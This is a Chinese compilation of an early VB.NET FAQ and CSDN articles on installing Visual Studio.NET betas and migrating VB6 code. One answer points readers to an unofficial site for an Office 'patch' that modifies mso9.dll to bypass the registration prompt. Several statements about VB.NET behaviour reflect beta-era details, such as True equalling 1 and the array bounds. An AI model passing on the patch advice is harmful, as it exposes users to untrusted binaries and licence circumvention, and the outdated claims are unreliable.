win9x的组件支持中文,win2k只提供英文支持，中文SP要68Mwin9X 使用
CD3 Win98SP1 目录下的组件升级包 最好在CD1中点选第一项让程序自动
检测
当要求放入CD时放入CD3就可以，全自动啊！

------------------------------------------------------------

问：何处可获得以及如何编译vb.net的Windows 98,以及 Windows 95的
CLR版本

答：装Microsoft .NET Framework SDK就可以了，在VS.Net的第三张盘
上，这个问题问得不太准确，CLR原则上是支持任何操作系统的，主要是
一些支持组件要升级--------如win98sp

------------------------------------------------------------

问：我装了VISUAL NET。可是只有VF，没有VC和VB。C#也没有。我看你
的那个教程也没看明白。为什么要用CD1安装？主要是速度太慢。那个教
程打开了半小时还没打开完。而且我在CD1和CD2上都没找到VB7。EXE和
VC7。EXE是不是光盘有问题？那两个文件是不是不在CD1和CD2中。还是
我在安装时出现了注册表太小和虚、拟内存太小的情况。这个问题出在什
么地方呢？

答：VFP,C#,VB.Net根本是一个IDE,使用同一个安装程序(可自定义)CD1
是安装程序的总枢了，首先CD1启动安装程序，点选最上面的选项，然后
叫你放入CD3检测系统，再就是升级组件，自动重启，再开始安装CD1的文
件，最后安装CD2，最后你得到的就是一个软件了一个IDE。在新建一个工
程的时候可以选择是新建vb,vc还是C#，所以是一个东西最重要的，CD1
与CD2要拷到硬盘的根目录下面（如D:\)，并且至少有1G的空间，如果在
COPY的时候问你是不是覆盖，你选择覆盖就可以了

------------------------------------------------------------
问：听说在beta2中放弃beta1的改变，完全恢复到VB6

答：讹传，只是有部份的恢复，改回一些VB6的东西，其实在beta1中已经
有一个VB6的类库，但是用起来感觉并不好，希望只是在使用习惯上有一
些恢复，而不是倒退，想一下也是不可能的，CLR与OOP不可能放弃，而这
也是最主要的改变

------------------------------------------------------------

问：VB7.0编译出来的东西可否跨平台？

答：VB7的通用运行库就是跨平台技术，但是同时需要别的平台对这种技
术提供支持，好象java也需要在windows上提供虚拟机。现在正在申请将
通用运行库作为通用标准。也就是说不久的将来，可能在正式版出来时
吧，会完全支持跨平台的。如果说VB7不能跨平台的话，这个实在是不太
可能，也可以说是根本不可能！不过我个人完全对此不感兴趣，我这样的
能力只要能写出好的windows程序就谢天谢地了！

------------------------------------------------------------

问：office出现要求注册的对话框(50次限制)

答：到http://vbnetcn.126.com下载office补丁，修复mso9.dll

------------------------------------------------------------

问：在win2000上如何配置才能够进行web Form 编程?

答：要进行web form编程你就看看asp.net栏目，并不需要特别的配置，
主要是安装了IIS，一般是装了的，可以看看添加删除组件：《.NET之
ASP Web Application快速入门》中有如下一段话：
“要创建一个ASP.NET Application，我们可以使用存在的虚拟目录，或
者创建一个新的虚拟目录。比如，在安装了包含IIS的Windows2000服务
器上，大概会有一个目录C:\\InetPub\\WWWRoot；我们使用Internet
Services Manager来配置IIS，在\"Start-> Programs ->
Administrative Tools\"下，用鼠标右键单击存在的目录，或者选择
new来创建一个新的虚拟目录，或者选择Properties来提升一个存在的普
通目录为虚拟目录。”

------------------------------------------------------------

问：敬请指教：
我在win2000下安装vs.net，出现提示“我权限不够，不能够进入
C:\\Program Files\\Microsoft Visual Studio.NET\\Crystal
Reports\\viewers文件夹”，然后出错，1分钟后退出，可是此时我是以
administrator登录的系统，而且关闭系统、重启动再装，还是一样。想
手工删除该文件夹，可是删除不了，怎么办

答：先完全删除VS.Net，清除所有注册表残存的信息（可用注册表清理软
件，如windows优化大师清理，）对注册表查错，再删除多余的帐号，重
启动以后，把VS.Net拷到上次拷贝的原位置，重新安装，记住最好不要在
双系统中同时安装VS.Net最不济重装一遍系统，我想你大概是安装过一
遍，而且又建立过Web程序吧？！

------------------------------------------------------------

问：我的程序在没有安装VS.Net的系统上可以运行吧

答：需要对方安装了Microsoft.NET Framework.SDK

------------------------------------------------------------

问：可是我拷到win98上不能运行

答：一般的是拷上去就可以用的，只是bin目录下的DLL以及其他组件要拷
到当前目录(不需要注册)，如果引用了一此特别的控件如AxAgent可能需
要制作安装程序。

------------------------------------------------------------

问：是不是需要VB6一样的运行库

答:需要CLR通用运行库，因为是C#,VC++通用的，必然会成为电脑的标准
配置，虽然目前尚有限制，不过大可不必担心，以后你发行的程序不再需
要一个很大的支持库，微软会免费散发容量比SDK小得多的CLR支持组件

------------------------------------------------------------

问：听说学会java就会用VB.Net了

答：你看到过java程序员写出VB.Net的程序或文章了么（骂人的文章倒
是不少）？相反倒是VB程序员写出了C#的文章，相当好。可是有些VB程序
员连VB.Net也不想看一下，起码我现在能简单的使用VB.Net但是java的
源码我一点也看不懂，本来就不相关。不要相信那些大师们别有用心的鬼
话。也不要大肆鼓吹面向对象的编程与.Net技术，没有什么意义。

------------------------------------------------------------

问：java还有C++与VB.Net有类似的地方吗

答：有的，应该说是C#更像一些，VB.Net在底层是有相似的地方，这些都
是从理论上来说，不能从语法上去理解（有一些如try.....catch......
等改变了）。在语法上基本上说更像VB6一些，但是你会发现用法上有了
变化，不过不能因此否认他使用的还是VB的语言。


csdn_升级到Visual Basic.NET

升级到Visual Basic.NET
内容:
Visual Basic.NET原则上可以使传统的Windows开发者转移到建立下
一代Web以及多层应用中。所以，你的代码
需要升级以适应Visual Basic.NET
在你使用Visual Basic.NET打开Visual Basic 6.0工程后，通过
自动升级工具可以一步步的升级并建立一个新
的基于Visual Basic.NET的工程。这个升级是单向的，既新的
Visual Basic.NET工程无法再在Visual Basic 6.0中
打开。
当工程升级后，Visual Basic.NET会修改语法的改变以及将
Visual Basic 6.0窗体转换为Windows窗体。在通
常情况下，你还需要手工做一些修改，因为自动升级工具不可能替你
做所有的事情。
为帮助改变原来代码，当你的工程升级以后，Visual Basic.NET
会在工程中添加“升级报告”列出所有的问题，
同时在代码中添加注释提示你需要做的改动，这些注释会以“TO
DO”列表形式列出在任务列表窗口中，所以你可
以很容易的需要改变的部分，要想浏览相关的代码只需要双击任务列
表中的相关项就可以了。每一个任务以及升级
报告中的列表项都有相关的在线帮助标题以给你更多的帮助。


csdn_Visual Studio.NET 的安装

Visual Studio.NET 的安装
内容:
請按下列步驟在中文Windows作業平台上安裝Visual Studio.NET
Beta1 英文版：

Windows Component Update
-------------------------
1.請先確認您的作業系統已安裝了中文版 Windows 2000 SP1 或中文
版 Windows
  98 Second Edition SP1.
2.安裝中文版 Internet Explorer 5.5 或 Windows Componet
Update 光碟 /IE55
  目錄中的英文版本.
3.安裝 Internet Explorer QFE,執行Windows Componet Update 光
碟中的 /IEQFE
  /q11258.exe (若已安裝IE5.5 SP1就不用安裝此項程式)
4.安裝 Jet Engine, 執行Windows Componet Update 光碟中
的/jet/jetsetup.exe
5.安裝MDAC 2.6, 執行Windows Componet Update 光碟中
的/MDAC/mdac_type.exe
6.安裝MSO9, 執行Windows Componet Update 光碟中的 /mso9.msi
7.安裝MS XML 3.0, 執行Windows Componet Update 光碟中
的 /msxml3.msi
8.請強制重新開機. (系統不會提示，若不重開下個步驟會有
Internal Error 2355
  的錯誤發生)
9.安裝 .Net Framework SDK, 執行Windows Componet Update 光碟
中的 /FrameworkSDK
  /setup.exe
10.安裝 Visual Stuio.NET bootstrap, 執行Windows Componet
Update 光碟中的
  /bootstrap.msi

注意：以上步驟請按照各安裝程式指示進行安裝(包含重新開機動
作)，完成一步驟後
再執行下一步驟.

Visual Studio.NET 安裝
-----------------------
1.放入 Visual Studio.NET Beta1 CD1 至光碟機中，如自動啟動安
裝程式，請先將其
  關閉。
2.執行光碟中的 /Setup/setup.exe
3.按照安裝程式指示進行.

// 本文來源：Microsoft Developer Days 2000 會議附贈的工具包
說明文章及個人實際安裝經驗所得.beta1執行速度極差，官方不建議
用來開發程式，甚至安裝後會拖慢系統...還是灌到.net framework
即可.


csdn_VB.Net常用语法

VB.Net常用语法
内容:
一：Try………Catch………finally………end try 捕获错误

把一个可能出错的语句放在try后面，如果出错，执行catch语句，

catch可以有多个，第一个catch不能捕获的错误，将被下一个catch语句
所捕获。在所有的处理结束后，执行finally语句。

在一个try………end try　过程中可以使用catch与finally两个中的一
个，或者两个一起用，

二：Protected，　private，　Public　封装控制

这三个关键字一般放在语句最前面，而会置于overloads与Overrides的
后面

public是工程级别外部访问

protected是本族级别以下内部访问

private是不提供非本地访问

三：ByVal sender As Object, ByVal e As System.EventArgs
这是最赏用事件传递参数。被封装于两个对象内，
如果你要传递相应的参数，要在这两个对象里面找，如当前鼠标位置为
e.X　e.Y。在ＶＢ.Net中有些事件是要自已动手写的，
如窗体鼠标过程，一般加上这个参数在后面的括号内就解决了。

四：重载语法Overloads

如：class class1

public strtem as string

overloads public sub subx()重载subx（A状态）

strtem=”3”

end sub

overloads public sub subx(x as string) 重载subx（B状
态）

strtem=x

end sub

end class

如果你如果调用subx()中间没有参数，则VB自动调用重载subx（A状
态），

overloads public sub subx()重载subx（A状态）

strtem=”3”

end sub

结果就是strtem=”3”

如果你这样调用，subx(“这是一个不同的结果”),则VB自动调用重
载subx（B状态）

overloads public sub subx(x as string) 重载subx（B状
态）

strtem=x

end sub

结果就是 strtem=“这是一个不同的结果”

您可以在函数中调用，包括在API中（当然VB.Net不再使用winAPI）.

甚至一些至关紧要的过程也不例外：如new过程(此方法王国荣文章中
有介绍)

如：　class class1

Overloads Public Sub New()

。。。。。。

。。。。。。

end sub

Overloads Public Sub New(s as string)

。。。。。。

。。。。。。

end sub

end class

同样有两种调用的方法，如dim as as class1=new class 调用前面
一个无参数的new过程，

而dim asb as class1=new class(“string”)调用第二个new 过程.

切记，如果一个过程或一个函数只有一种状态，不能这样运用。如果您试
图使用overloads关键字，则VB.Net会出现错误的提示要求你移去
overloads

五：Overrides改写

如常见的dispose过程：

Overrides Public Sub Dispose()

MyBase.Dispose

components.Dispose

End Sub

Overrides表示完全的改写父类提供的过程与函数

不过要记住使用改写的前提是在父类的同一过程或函数的前面也使用了
overrides关键字

六：mybase.new 与mybase.dispose

ublic Sub New()

MyBase.New

Form1 = Me

InitializeComponent

End Sub

Overrides Public Sub Dispose() '

MyBase.Dispose

components.Dispose

End Sub

这两个过程是任何一个新建工程都会有的，mybase.new是调用当前类的
父类的new过程，同样你也可以加上参数配合父类的重载New过程。如：

Overloads Public Sub New ()

MyBase.New()

End Sub

Overloads Public Sub New (string)

MyBase.New(string)

End Sub

七：Structure构造

自定义类型,如：

Structure Type1

Dim x as y

Dim a as b

。。。。。。。

end structure

这个取代VB６中的使用type………end type方式自定义类型的方法。

八：return返回值
function functionname()
return X。。。。。。
end funtion
他的作用与下面一样：

function functionname()
functionname = X。。。。。。
end funtion


csdn_vb.Net编程简介之一

vb.Net编程简介之一
内容:
使用先前绑定
Visual Basic 6.0和Visual Basic.NET都支持对象的延迟绑定，
该方法事先定义一个变量为Object数据类型，
然后在运行时将其设定为一个类。然而，在升级过程中，当访问延迟
绑定对象的缺省属性时可能会产生错误。例
如假设工程中包含Form1，Form1中有一个Label对象，名称为
Label1，下面的Visual Basic 6.0代码将Label的标题
设定
为"SomeText"

Dim o As Object
Set o = Me.Label1
o.Caption = "SomeText"

在Visual Basic.NET的Windows窗体中，Label控件的Caption属
性被称为Text属性。当你的代码升级后，所有
实例中的Caption属性都会转换为Text属性，但是延迟绑定对象是无
类型（type-less）的，VB无法检测到对象的
类型并做更改，在这种情况下，你需要手工对代码做改动。当你使用
先前绑定对象时，对象可以自动升级，如下：

Dim o As Label
Set o = Me.Label1
o.Caption = "SomeText"

所以在程序中你需要将对象定义为适当的对象类型而不是简单的
定义为Object对象类型。

同Visual C++类似。Visual Basic.NET支持函数的重载，例如下
面的一个函数具有两个形态

Environ( Expression As Integer) As String
Environ( Expression As String ) As String

Visual Basic.NET会自动检测该使用那个参数的函数。如果你传
递一个正数值到Environ()，那么正数调用版
本会被调用；如果传递一个字符串，String版本会被调用。如果传递
Object或者Variant数据类型到一个重载函数
将产生运行时错误。如果要想产生正确的结果就需要通过数据类型的
强制转换，例如：

Dim a As String
Dim v As Variant
v = "Path"
a = Environ(CStr(v)) '正确

对于延迟绑定的对象使用强制类型转换是一个很好的编程习惯。
这就使得代码可读性更好，同时也可以非常轻
松的移植到Visual Basic.NET使用Date存储日期/时间较早版本的VB
支持使用Double数据类型来存储和改变时间。
在Visual Basic.NET中，这个特性将不再支持，因为在计算机内部日
期并不是以Double方式存储的，例如下面的代
码可以在Visual Basic 6.0中运行，但是在Visual Basic.NET中会产
生错误。

Dim dbl As Double
Dim dat As Date
dat = Now
dbl = dat '错误，不能将一个Date变量赋予一个Double变量
dbl = DateAdd("d", 1, dbl) '错误，Double变量不能用于日期函
数
dat = CDate(dbl) '错误 CDate函数不能将Double变量转换到Date

.NET架构提供了ToOADate与FromOADate函数用于在double变量以
及Date变量之间转换。然而这需要在升级后手
工修改，所以在存储日期时应该使用Date数据类型。

缺省属性
在Visual Basic 6.0中，许多对象都有缺省属性，缺省属性在代
码中可以省略。例如：

MsgBox Form1.Text1.Text

可以这样编写:

MsgBox Form1.Text1

缺省属性在代码编译是决定。同样，你也可以在延迟绑定的对象中使
用缺省属性，例如：

Dim obj As Object
Set obj = Form1.Text1
MsgBox obj

对于延迟绑定的对象，缺省属性在程序运行时决定。

Visual Basic.NET不支持缺省属性，当你的工程升级后，
Visual Basic.NET会自动决定缺省属性，但是对于延
迟绑定的对象无法自动解决决定缺省属性的问题。在这种情况下，你
需要自己来修改代码。更加复杂的是，很多库
是通过 _Default属性来实现缺省属性的。_Default象是一个代理，
它将调用传递给真正的缺省属性。所以当你的
工程升级后，一些属性会被更改为 _Default。代码还是象往常那样
工作，只是代码不如原来的实际属性易读。

Dim obj As Object
Set obj = Me.Text1
MsgBox obj '不好的代码，使用缺省属性
MsgBox Me.Text1 '不好的代码，使用缺省属性

use:

Dim obj As Object
Set obj = Me.Text1
MsgBox obj.Text '好的代码，写出了属性
MsgBox Me.Text1.Text '好的代码，写出了属性

虽然缺省属性不被Visual Basic.NET支持，但是带参数的缺省属
性是被支持的，要了解它们之间的区别，下面
是范例：

Dim rs As ADODB.Recordset
rs("CompanyName") = "SomeCompany"
rs!CompanyName = "SomeCompany"

实际上等于:

Dim rs As ADODB.Recordset
rs.Fields("CompanyName").Value = "SomeCompany"
rs.Fields!CompanyName.Value = "SomeCompany"

因为Value是Fields的缺省属性
对于第二种写法，Visual Basic.NET是支持的；然而第一种情况不被
支持，那么正确的用法如下：

Dim rs As ADODB.Recordset
rs("CompanyName").Value = "SomeCompany"
rs!CompanyName.Value = "SomeCompany"

象上面的范例和其它的大多数情况可以在工程升级时解决，但是
你还是要避免在Visual Basic 6.0中在Object
和Variant数据类型使用缺省属性。因为升级程序无法发现并解决这
些错误。


csdn_vb.Net编程简介之三

vb.Net编程简介之三
内容:
避免Null传播（Propagation）
先前版本的VB支持Null传播。Null传播的前提是null值使用在表
达式中，表达式的结果将是Null，例如下面
的范例，结果V都将是Null

Dim V
V = 1 + Null
V = Null + Right$("SomeText", 1)
V = Right("SomeText", 0)

Null传播在Visual Basic.NET中将不再被支持。象上面的语句
1+Null会产生一个类型错误。另外在Visual
Basic 6.0中有两个求左值的函数：Left和Left$前者返回值为
Variant类型并且可以为空，Left$函数返回值为String
类型。在Visual Basic.NET中，只有一个Left函数，该函数总是返回
String类型值

为了使程序兼容Visual Basic 6.0以及Visual Basic.NET，你需
要在代码中加入对Null检测的代码，在Visual
Basic.NET中，下面的函数将不再返回Null值:

Chr Mid
Command Oct
CurDir Right
Date RTrim
Environ Space
Error Str
Hex Time
LCase Trim
LTrim UCase

由于数据库中的数据可以包含Null值，所以你需要在程序中对获得的
数据加入代码检测其值是否为Null。

使用以0为下界的数组
Visual Basic 6.0允许你使用任何整数数字作为一个数组的上界
和下界。同样你也可以通过ReDim将一个Variant
重新定义为数组。为了能够同.NET平台下的其它语言协同工作，
Visual Basic.NET数组必须以0作为下界，而且只
有一个变量事先定义为数组后才可以使用ReDim函数重新定义。虽然
这样限制了数组定义的灵活性，但是这样可以
在Visual Basic.NET和.NET下的其它语言之间传递数组。下面的范例
说明了新的定义数组的约束：

Dim a(1 To 10) As Integer '错误：下界必须为0
Dim v
ReDim v(10) '错误，在没有定义v为数组前不能使用ReDim
Dim b(10) As Integer '正确
ReDim b(5) As Integer '正确

另外，在Visual Basic 6.0中， Dim (0 to 10) As Integer定
义了包含11各整数的数组，索引从0到10。同样
的定义在Visual Basic.NET下建立一个包含10个整数的数组，索引从
0到9。

基于上面的改变，Option Base 0|1已经从Visual Basic.NET中
删除了。

当你的代码升级到Visual Basic.NET后，以0为下界的数组不会
改变。如果数组下界非0的话，数组会升级到一
个兼容类，如下：

Dim a(1 To 10) As Integer
改变为:

Dim a As Object = New VB6.Array(GetType(Short), 1,10)

兼容数组类比本地数组操作起来要慢很多，同时在程序中使用它
也有限制。例如你不能将一个兼容数组类作为
参数传递到一个以数组作为参数的函数，你也不能传递一个兼容类到
Visual C#或者Visual C++类中。

基于以上原因，你需要在你的Visual Basic 6.0代码中使用以0
为下界的数组，避免使用ReDim定义数组，避免
使用Option Base 1语句。

使用VB常量而不要使用它们所代表的值
在写代码的时候，尽量使用VB常量而不要使用它们所代表的值。例如
你要在运行时将一个窗口最大化，使用：

Me.WindowState = vbMaximized 'Good: Constant name

而不要使用：

Me.WindowStyle = 2 'Bad: Underlying value
Me.WindowStyle = X 'Bad: Variable

在Visual Basic.NET中，一些属性和常量的数值发生了改变；例
如True的值由-1变为了1。在你的代码升级到
Visual Basic.NET后，大部分的常量会自动更改；然而如果你使用的
是常量代表的数值而不是常量名，那么你就要
做大量的手工更改工作。

用户自定义数据类型中的数组和固定长度字符串
为了使Visual Basic.NET数组和数据结构完全兼容Visual
Studio.NET，固定长度字符串在新语言中不再被支
持。在大多数情况下者不是问题，因为Visual Basic.NET提供了兼容
固定长度字符串定义的类，那么代码：

Dim MyFixedLengthString As String * 100

升级后会变成这样：

Dim MyFixedLengthString As New VB6.FixedLengthString(100)

然而，在数据结构（例如用户自定义数据）中使用固定长度字符
串类可能产生错误。因为在用户自定义数据结
构建立时类不会被建立。用户自定义数据中的固定长度数组也会产生
同样的问题。

当你的代码升级后，在代码中的用户自定义数据类型中如果有固
定长度的数组和字符串的话，在定义位置会添
加注释提醒你在使用用户自定义数据类型前首先对字符串或者数组进
行初始化。然而，你可以在你的Visual Basic
6.0的用户自定义类型中将固定长度的字符串定义改变为字符串定
义，将固定长度数组定义改变为未初始化数组来
避免升级产生后产生上面的问题。例如：

Private Type MyType
MyArray(5) As Integer
MyFixedString As String * 100
End Type
Sub Bar()
Dim MyVariable As MyType
End Sub

升级后会变为：

Private Type MyType
MyArray() As Integer
MyFixedString As String
End Type
Sub Bar()
Dim MyVariable As MyType
ReDim MyVariable.MyArray(5) As Integer
MyVariable.MyFixedString = String$(100, " ")
End Sub

Avoid Legacy Features
避免使用从原始Basic继承的特性，如下的关键字在新版本语言中将
不再出现：

Def
Computed GoTo/GoSub
GoSub/Return
Option Base 0|1
VarPtr, ObjPtr, StrPtr
LSet


csdn_vb.Net编程简介之二

vb.Net编程简介之二
< 内容:
对Boolean类型数据使用AND/OR/NOT操作
And和Or关键字在Visual Basic.NET和Visual Basic 6.0中的使
用是不同的，在Visual Basic 6.0中，AND运算
既执行逻辑AND操作也执行逐位AND操作，取决于操作数(如果是
Boolean类型，执行逻辑AND操作，如果是数字，执
行逐位AND操作)。在Visual Basic.NET中，AND运算只执行逻辑AND操
作。对于逐位操作，在Visual Basic.NET提供
了一组操作：BitAnd, BitOr, BitNot以及BitXor 。

下面是演示这些差异的范例程序

Dim a As Integer
Dim b As Integer
Dim c As Boolean
a = 1
b = 2
c = a And b
MsgBox ("The answer is " & c)

当上面的代码在Visual Basic 6.0下运行时，结果是False(执行
逐位AND操作)；然而在Visual Basic.NET下，
结果是True(执行逻辑AND操作)。
要确定你的程序在升级后也运行结果同升级前一样，Visual
Basic.NET包含了兼容函数VB6.And, VB6.Or以及
VB6.Not，这些函数执行的结果同Visual Basic 6.0下的AND/OR/NOT
操作的执行结果是一样的。当代码升级后，结
果会象下面这样：

Dim a As Short
Dim b As Short
Dim c As Boolean
a = 1
b = 2
c = VB6.And(a, b)
MsgBox ("The answer is " & c)

升级后的代码会得出False的结果，同Visual Basic 6.0下运行一样

如果不想你的代码升级后使用兼容函数，就需要确保你的
AND/OR/NOT都使用在Boolean类型数据的操作中，例
如，如果上面的代码更改为下面的方式：

Dim a As Integer
Dim b As Integer
Dim c As Boolean
a = 1
b = 2
c = a <> 0 And b <> 0
MsgBox ("The answer is " & c)

当升级后，代码同原来的几乎一样：

Dim a As Short
Dim b As Short
Dim c As Boolean
a = 1
b = 2
c = a <> 0 And b <> 0
MsgBox ("The answer is " & c)

同前面不同的是每一个操作都是在Boolean数据之间进行的，因
此它们在Visual Basic 6.0中使用的都是逻辑
AND操作。所以在升级到Visual Basic.NET后不会发生改变。这样做
的意义是你可以直接在Visual Basic.NET和
Visual Basic 6.0之间拷贝和粘贴代码，你的代码会运行的更快因为
使用的是本地的AND操作而不是兼容函数。

另外一个需要考虑的问题是对于函数结果的AND/OR/NOT 操作的
问题，例如下面的范例：

Dim b As Boolean
b = Function1() And Function2()

在Visual Basic 6.0中，Function1和Function2的结果都会执行
后再将结果进行AND操作。在Visual Basic.NET
中，只有当Function1的结果为True时才会计算Function2。因为
Visual Basic.NET中的AND运算执行的是逻辑AND操
作，如果Function1结果为False，AND结果肯定是False，为了加快速
度就不再执行Function2的了。但是如果
Function2另有目的，例如用于避免某些错误，那么就会出现不可预
知的错误，那么上面的代码升级后就会象下面
的样子：

Dim b As Boolean
b = VB6.AND(Function1(), Function2())

为了不在升级代码中出现兼容函数，原来的代码需要做如下的改动：

Dim b As Boolean
Dim c As Boolean
Dim d As Boolean
c = Function1()
d = Function2()
b = c And d

另一个需要注意的是在Visual Basic.NET中，True值将不再是-1
而是1。做这个改变是为了使Visual Basic.NET
能集成在 .NET语言中。因为有这个改变，你需要再你的Visual
Basic 6.0工程中使用常量True而不是-1来表示真
值，使用Boolean类型而不是整数类型变量保存Boolean数据。下面的
代码说明了Visual Basic 6.0和Visual Basic.NET
之间的不同：

Dim i As Integer
i = True
If i = -1 Then
MsgBox ("True")
Else
MsgBox ("False")
End If
在Visual Basic 6.0中，结果为True，而在Visual Basic.NET中结果
为False。

如果对代码做如下改动，程序在两种语言下运行都会显示True

Dim i As Boolean
i = True
If i = True Then
MsgBox ("True")
Else
MsgBox ("False")
End If

通过上面的范例可以看出在程序中需要注意两点：
1、使用常量True和False来判断是否而不要使用0和-1
2、使用Boolean类型变量储存Boolean数值而不要使用Integer类型变
量
如果在你的程序中没有这么做的话，在升级后你还需要做大量的手工
改动


csdn_vb.Net编程简介之四

vb.Net编程简介之四
内容:
Windows APIs
大多数的API调用可以象在Visual Basic 6.0中一样使用，因为
数据类型发生了改变。在Visual Basic 6.0中
的Long类型在Visual Basic.NET中定义为Integer类型。在升级过程
中这些定义会自动改变，例如：

Private Declare Function GetVersion Lib "kernel32" () As
Long
Function GetVer()
Dim Ver As Long
Ver = GetVersion()
MsgBox ("System Version is " & Ver)
End Function

改变为：

Private Declare Function GetVersion Lib "kernel32" () As
Integer
Function GetVer()
Dim Ver As Integer
Ver = GetVersion()
MsgBox("System Version is " & Ver)
End Function

除了数字类型的升级外，Visual Basic 6.0还支持固定长度字符
串类型，该类型升级到Visual Basic.NET后
会定义为固定长度字符串兼容类。

所以在Visual Basic 6.0代码中最好使用通用字符串定义，例如：

Private Declare Function GetUserName Lib "advapi32.dll"
Alias _
"GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As
Long) As Long
Function GetUser()
Dim Ret As Long
Dim UserName As String
Dim Buffer As String * 25
Ret = GetUserName(Buffer, 25)
UserName = Left$(Buffer, InStr(Buffer, Chr(0)) - 1)
MsgBox (UserName)
End Function

上面的代码出现了固定长度字符串，最好更改为：

Dim Buffer As String
Buffer = String$(25, " ")

升级到Visual Basic.NET后会称为下面的样子：

Declare Function GetUserName Lib "advapi32.dll" Alias _
"GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As
Integer) As Integer
Function GetUser()
Dim Ret As Integer
Dim UserName As String
Dim Buffer As String
Buffer = New String(CChar(" "), 25)
Ret = GetUserName(Buffer, 25)
UserName = Left(Buffer, InStr(Buffer, Chr(0)) - 1)
MsgBox(UserName)
End Function

在有些情况下，Visual Basic.NET能够更好的控制传递字符串到
API调用，因为你可以通过ANSI 和UNICODE
关键字定义字符串传递的方式。

有三种情况需要对代码最手工改进。
1、在传递给API函数的自定义数据类型定义中包含固定长度字符串和
数组。在Visual Basic.NET中你需要对自定
义数据类型定义中的每一个固定长度
字符串和数组添加MarshallAs 属性。
2、在定义中使用As Any声明。该种声明不再被Visual Basic.NET支
持，变量定义为As Any通常是为了传递一个既
可能是字符串也可能是Null的变量，在Visual Basic.NET中，你可以
定义两个不同类型的API，一个为Long类型，
一个为String类型，以API函数GetPrivateProfileString 为例：

Private Declare Function GetPrivateProfileString
Lib "kernel32" Alias
"GetPrivateProfileStringA" (ByVal lpApplicationName As
String, ByVal
lpKeyName As Any, ByVal lpDefault As String, ByVal
lpReturnedString As String, ByVal nSize As Long,
ByVal
lpFileName As String) As Long

你可以删除As Any而代之以定义两个不同的函数；一个接受Long数
值，一个接收String树脂：

Private Declare Function GetPrivateProfileStringKey
Lib "kernel32" Alias
"GetPrivateProfileStringA" (ByVal lpApplicationName As
String, ByVal
lpKeyName As String, ByVal lpDefault As String, ByVal
lpReturnedString As String, ByVal nSize As Long,
ByVal
lpFileName As String) As Long
Private Declare Function GetPrivateProfileStringNullKey
Lib "kernel32"
Alias "GetPrivateProfileStringA" (ByVal
lpApplicationName As String,
ByVal lpKeyName As Long, ByVal lpDefault As String,
ByVal
lpReturnedString As String, ByVal nSize As Long,
ByVal
lpFileName As String) As Long

当你希望传递Null数值时，使用GetPrivateProfileStringNullKey。

3、如果你的程序中有诸如建立线程、Windows子类(subclassing)，
消息钩子等API调用时，这些函数在
Visual Basic.NET下可能会产生运行时错误。很多这些API在Visual
Basic.NET或者.NET架构中有等价的函数。


csdn_vb.Net编程简介之五

vb.Net编程简介之五
内容:
窗体与控件
Visual Basic.NET包含了一个新的窗体包：Windows窗体。
Windows窗体与Visual Basic 6.0窗体间保持了最
大的兼容性；然而，还是有一些需要提出的关键差异：
Windows窗体不支持OLE container控件；你需要在Visual
Basic 6.0应用中避免使用该控件。
在Windows窗体中没有Shape控件。矩形和圆角形状控件会升级为
Label控件，椭圆和圆形无法升级。你需要在
Visual Basic 6.0应用中避免使用该控件。
在Windows窗体中没有Line控件。横线条和竖线条控件会升级为
Label控件，斜线条无法升级。你需要在Visual
Basic 6.0应用中避免使用该控件。

Windows窗体提供了新的图形命令取代Circle, CLS, PSet, Line
以及Point。因为新的对象模块同Visual Basic
6.0是不同的，这些方法无法被升级

对于Timer控件，将Interval属性设置为0不能使Timer控件停止
运行而是将时间间隔设定为1。所以在Visual
Basic 6.0中，需要通过设置Enabled属性为False而不是将Interval
属性设置为0来停止Timer运行。

Windows窗体包含两种菜单控件，MainMenu(窗口菜单)和
ContenxtMenu(弹出菜单)。而Visual Basic 6.0只包
含一种菜单控件：Menu。Menu可以以窗口菜单方式也可以以弹出菜单
方式打开。工程升级后Menu会升级到MainMenu。
但是你不能以弹出方式打开MainMenu；你需要手工建立弹出菜单。

Windows窗体不支持动态数据交换(DDE)。
Windows窗体不支持Form.PrintForm方法

虽然Windows窗体在功能上支持拖-放但是对象模块同Visual
Basic 6.0有很大的不同，所以Visual Basic 6.0
中的拖-放属性以及方法无法升级。

.NET架构对Clipboard对象进行了升级，对剪贴版的操作比
Visual Basic 6.0的Clipboard对象提供了更多的函
数和支持。因为对象模块的不同，Clipboard声明无法自动升级

Windows窗体不支持在运行时对窗体和控件的Name属性进行访
问，这样你就不能通过Name属性访问控件集合中
的控件（这个功能在.Net的System.Reflection类中提供）

为了保证你的窗体在升级后保持正确的尺寸，你要确保在程序中
将缺省的缩放比例(ScaleMode)设定为Twips。
当升级后，Visual Basic.NET将度量单位从Twips转换为pixels

上面就是关于Visual Basic.NET的说明，从上面的介绍可以看
到，相对于以前的版本，这一次的的Visual Basic
可以说是有了重大的革新(而且似乎有一些方面在向Delphi看齐)。它
提供了以前版本从来没有的面向对对象编程，
强大的错误处理，同VC++ C Sharp更紧密的集成。但是也牺牲了很多
原来Basic一直都有的特性。不过总的来看，还是值得升级到Visual
Basic.NET的。
打4颗星。


csdn_从MVPS.com提供的关于VB.NET的特性

从MVPS.com提供的关于VB.NET的特性
内容:
.NET架构基本由3个部分组成：一套程序级架构，一套基本架构，以
及一个通用语言运行库(common language runtime简称 CLR)。根据
微软的说法，.NET的目标是使开发者通过一套通用的APS建立更加可
靠的应用软件。整个.NET的结构是符合90年代风的。运行库是一个动
态的、面向对象的环境，同C/C++或者VB的静态环境不同。.NET直接
支持网络以及分布式应用。但是.NET是一个完全的革新。.NET平台只
是为了提高Windows程序员的生产力。本质上来说，.NET只是为了帮
助Visual C++以及Visual Basic程序员跟上时代。

.NET平台的核心是通用语言运行库。该运行库是一个具有垃圾收集、
类型安全性的环境，它通过一个内置语言(internal language 简称
IL)来执行代码。运行库的设计师Anders Hejlsberg承认这样的概念
不是全新的并把它比作类似于p-code解释器，就象UCSD Pascal那样
Hejlsberg也指出内置语言有很多先进的特性，例如支持不同的CPU结
构以及类型安全。Hejlsberg同时指出IL能够执行运行前校验提高安
全性。现在关于IL的详细的内容仍然没有公开，所以无法对其做出正
确的评判以及拿它同Java虚拟器((JVMTM) 相比较。从公开的资料
看。CLR的目标实际是Java虚拟器已经实现的东西。

CLR包含基本架构以及通用类。这些类包括网络、I/O、集合、安全、
初始化等。这些类根据不同的功能使用Name Space分组。这同Java
package没有什么区别。令人惊讶的是这些类的名称同Java核心API内
的类的名称十分的相似。

.NET应用框架包含动态服务页面(ASP+)以及ActiveX数据对象(ADO+)
